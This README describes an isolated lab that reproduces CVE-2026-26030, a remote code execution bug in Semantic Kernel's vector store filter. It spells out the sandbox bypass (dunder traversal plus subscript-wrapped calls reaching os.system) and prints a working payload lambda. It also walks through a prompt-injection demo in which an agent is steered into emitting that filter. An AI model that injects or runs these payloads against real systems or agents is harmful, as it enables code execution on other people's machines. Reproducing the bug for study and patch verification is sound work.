Ethical, network-isolated Docker lab reproducing CVE-2026-26030 — Semantic Kernel in-memory vector store filter eval() RCE (patched in 1.39.4)
eval() RCE (lab)A self-contained lab reproducing CVE-2026-26030: prompt-injectable remote
code execution via the in-memory vector store search filter in Microsoft
Semantic Kernel (Python, < 1.39.4).
Ethical lab only. Isolated in dedicated virtualenvs; payloads are harmless (
toucha marker file in the headless PoC;open -a Calculatorin the UI demo) and run as your own unprivileged user.
./setup.sh # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)
Needs python3.13 (wheels for SK's numpy/scipy deps). Override with PYTHON=.
./run.sh # runs the same payload against both venvs
Vulnerable output ends with RCE CONFIRMED; patched output rejects the same
payload with '__subclasses__' ... is not allowed.
OpsBot, an internal engineering knowledge-base agent (Groq-hosted Llama via
Semantic Kernel), exposes a search_runbooks(team) tool. An attacker
prompt-injects a malicious team value; the agent calls the tool, the vulnerable
filter runs, and a "ransom note" opens in TextEdit — while the agent reports
runbook results, oblivious. The payload (open -e <note>) is non-blocking and
harmless; the note is pre-staged at /tmp/PWNED_by_CVE-2026-26030.txt.
The tool runs the genuine vulnerable filter eval in a clean subprocess
(run_filter.py). That's a macOS necessity, not a cheat: the server's own
fork() is poisoned by the async LLM/httpx threads + numpy/scipy, so a GUI
launch from that process silently no-ops. The subprocess is the exact CVE code
path (_parse_and_validate_filter → run the lambda on a record).
Note: the clean-subprocess split is a quirk of this macOS demo harness, not of the vulnerability. On a Linux-deployed agent the in-process
os.systemfires directly — no subprocess needed.
echo 'GROQ_API_KEY=gsk_...' > .env # free key from console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
The attacker message is pre-loaded in the input box; press Send.
An agent exposes a search tool backed by InMemoryCollection. The LLM emits a
filter expression string from the conversation (lambda x: x.team == 'platform').
That string is attacker-influenceable — via the user prompt, or via injected
text in retrieved/tool content — and lands in _parse_and_validate_filter,
which compile()s and eval()s it (connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
__builtins__ is emptied, and an AST allowlist is applied first — so this is a
sandbox bypass, not a missing guard. Two gaps make it bypassable:
ast.Attribute access is unrestricted — no dunder blocklist, so
().__class__.__base__.__subclasses__ dunder-walking is allowed.ast.Call name-check only inspects func when it is a Name or
Attribute. When func is a Subscript (which is allowlisted),
func_name stays None and the allowed-function check is skipped entirely.So wrapping any callable as [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/args) calls anything. Chained:
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/%27os%27).system][0]('touch /tmp/pwned_by_filter')
Every call's func is a Subscript; every traversal step is plain attribute
access. The index (107) is the position of BuiltinImporter in
object.__subclasses__() — it varies by Python build, so exploit.py and the
demo compute it at runtime.
The patch adds a dangerous-attribute blocklist on top of the allowlist, so
the dunder walk is rejected before eval:
Access to attribute '__subclasses__' is not allowed in filter expressions.
This attribute could be used to escape the filter sandbox.
| file | purpose |
|---|---|
setup.sh | builds the two isolated venvs (vulnerable + patched) |
run.sh | headless PoC across both venvs |
exploit.py | end-to-end: real collection + search filter -> RCE |
find_sink.py | locates the eval/compile sink in the installed package |
probe.py | minimal validator-only confirmation of the bypass |
demo-ui/app.py | FastAPI + SK + Groq agent; the vulnerable search_runbooks tool |
demo-ui/run_filter.py | runs the genuine filter eval in a clean subprocess (server fork() is poisoned) |
demo-ui/index.html | chat UI; opens a ransom note in TextEdit on RCE |
The cleanest possible statement of the agent-security thesis: there is no
boundary between "data" and "instructions." A filter the model writes from a
user's runbook lookup becomes os.system. The sandbox existed — an allowlist and
emptied __builtins__ — and still fell to an attribute-traversal + subscript-call
bypass. Mitigation hierarchy worth making in the post: don't eval model
output at all; if you must, restrict on a closed grammar, not a node allowlist
with open attribute access; and isolate the worker (seccomp / no network /
unprivileged) so code execution isn't game over.